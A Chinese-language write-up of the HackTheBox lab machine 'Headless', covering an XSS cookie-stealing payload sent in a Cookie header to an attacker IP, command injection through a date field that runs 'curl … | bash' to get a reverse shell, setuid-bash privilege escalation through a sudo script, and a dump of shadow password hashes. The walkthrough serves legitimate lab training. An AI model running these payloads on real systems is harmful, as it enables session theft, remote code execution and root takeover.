HackTheBox - Machine - Headless

Recommand: Let’s Sign Up HTB Academy to get Higher level of knowledge :P

非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P

Headless

真的很簡單,隨便寫寫算了,至少不會這麽懶。。。

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PORT     STATE SERVICE REASON         VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXBmWeZYo1LR50JTs8iKyICHT76i7+fBPoeiKDXRhzjsfMWruwHrosHoSwRxiqUdaJYLwJgWOv+jFAB45nRQHw=
| 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICkBEMKoic0Bx5yLYG4DIT5G797lraNQsG5dtyZUl9nW

5000/tcp open upnp? syn-ack ttl 63
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Sun, 24 Mar 2024 09:49:51 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/

就一個 python 服務器

80 - web

隨便輸入一些東西,比如xss,

image

然後輸出

image

他在隱約的告訴你,管理員會看到哦,既然提示管理員會看到,倒不如在header上注入:

image

然後就和想象中的一樣:

image

既然成功xss,那也只能偷cookie了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /support HTTP/1.1
Host: 10.129.217.49:5000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 192
Origin: http://10.129.217.49:5000
Connection: close
Referer: http://10.129.217.49:5000/support
Cookie: <img src=x onerror="fetch('http://10.10.16.9/?' + btoa(document.cookie))" />
Upgrade-Insecure-Requests: 1

fname=<iframe+src%3dhttp%3a//10.10.16.9%3a8000/pwn+<&lname=<iframe+src%3dhttp%3a//10.10.16.9%3a8000/pwn+<&email=sdad%40asda.aa&phone=%<iframe+src%3dhttp%3a//10.10.16.9%3a8000/pwn+<&message=</>

然後用偷到的cookie解下碼:

1
10.129.217.49 - - [24/Mar/2024 18:35:17] "GET /?aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1" 200 -

得到cookie,并且add 到瀏覽器:

1
is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

大概如下:

image

試了很久, "​ 和 '​ 會不顯示東西,所以我就納悶了。不像是sql注入,更像是命令注入和LDAP注入。

LDAP的話,輸入**​和 *​得到的結果是一樣的。。。所以就很懷疑是命令行注入。

於是就暴力測試,然後: date=1 ;curl 10.10.16.9/shell.sh | bash​ 拿到了reverse shell。

linpeas看看,看到:

1
2
3
4
5
6
7
???????????? Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d                                                                                                                         
? https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck

看了一下這個命令是一個脚本,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
dvir@headless:~$ whereis syscheck
syscheck: /usr/bin/syscheck

dvir@headless:~$ file /usr/bin/syscheck
/usr/bin/syscheck: Bourne-Again shell script, ASCII text executable

dvir@headless:~$ cat /usr/bin/syscheck
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi

exit 0
dvir@headless:~$

看到了 ./initdb.sh​ 隨手就寫了一個 initdb.sh

1
2
3
4
5
dvir@headless:~$ cat initdb.sh 
#! /bin/bash
chmod 4777 /bin/bash
echo "mane PWN"
bash

然後就root了。

1
2
3
4
5
6
7
8
9
dvir@headless:~$ sudo syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.9G
System load average: 0.00, 0.01, 0.03
Database service is not running. Starting it...
mane PWN
id
uid=0(root) gid=0(root) groups=0(root)

隨便寫寫,由於沒什麽技術。

Hashes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root:$y$j9T$2cy/WxPggISXkBDRmZbL10$0w8yfYfo92xIpj.Qu7zcpzqjLInUcI26SaM2l0IRS.7:19737:0:99999:7:::
daemon:*:19609:0:99999:7:::
bin:*:19609:0:99999:7:::
sys:*:19609:0:99999:7:::
sync:*:19609:0:99999:7:::
games:*:19609:0:99999:7:::
man:*:19609:0:99999:7:::
lp:*:19609:0:99999:7:::
mail:*:19609:0:99999:7:::
news:*:19609:0:99999:7:::
uucp:*:19609:0:99999:7:::
proxy:*:19609:0:99999:7:::
www-data:*:19609:0:99999:7:::
backup:*:19609:0:99999:7:::
list:*:19609:0:99999:7:::
irc:*:19609:0:99999:7:::
_apt:*:19609:0:99999:7:::
nobody:*:19609:0:99999:7:::
systemd-network:!*:19609::::::
tss:!:19609::::::
systemd-timesync:!*:19609::::::
messagebus:!:19609::::::
usbmux:!:19609::::::
dnsmasq:!:19609::::::
avahi:!:19609::::::
speech-dispatcher:!:19609::::::
fwupd-refresh:!:19609::::::
saned:!:19609::::::
geoclue:!:19609::::::
polkitd:!*:19609::::::
rtkit:!:19609::::::
colord:!:19609::::::
dvir:$y$j9T$IKU310jZ./br3hMhSpYSH0$IbCr4LIWNnOd76D2ObQYiNOCmGX4ZI7DTnKjbs8gXe9:19610:0:99999:7:::
sshd:!:19610::::::
_laurel:!:19769::::::

後記

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route('/dashboard', methods=['GET', 'POST'])                                         
def admin():
if serializer.loads(request.cookies.get('is_admin')) == "user":
return abort(401)

script_output = ""

if request.method == 'POST':
date = request.form.get('date')
if date:
script_output = os.popen(f'bash report.sh {date}').read()

return render_template('dashboard.html', script_output=script_output)

你可以看到他就是一個簡單的命令執行。

然後前面的waf我也想到了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/support', methods=['GET', 'POST'])                                             
def support():
if request.method == 'POST':
message = request.form.get('message')
if ("<" in message and ">" in message) or ("{{" in message and "}}" in message):
request_info = {
"Method": request.method,
"URL": request.url,
"Headers": format_request_info(dict(request.headers)),
}

formatted_request_info = format_request_info(request_info)
html = render_template('hackattempt.html', request_info=formatted_request_info)

filename = f'{random.randint(1, 99999999999999999999999)}.html'
with open(os.path.join(hacking_reports_dir, filename), 'w', encoding='utf-8') as html_file:
html_file.write(html)

return html

return render_template('support.html')

我還以爲要繞過waf,hh

Thanks

Recommand: If you really like my writeups, please use this link to sign up for an HTB Academy account to show my appreciation.

非常推薦: 如果你真的喜歡我寫的writeup,請使用這個鏈接注冊一個 HTB Academy 賬號,以表達我的感謝。

如果你是新手,使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)

If you are a beginner, join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)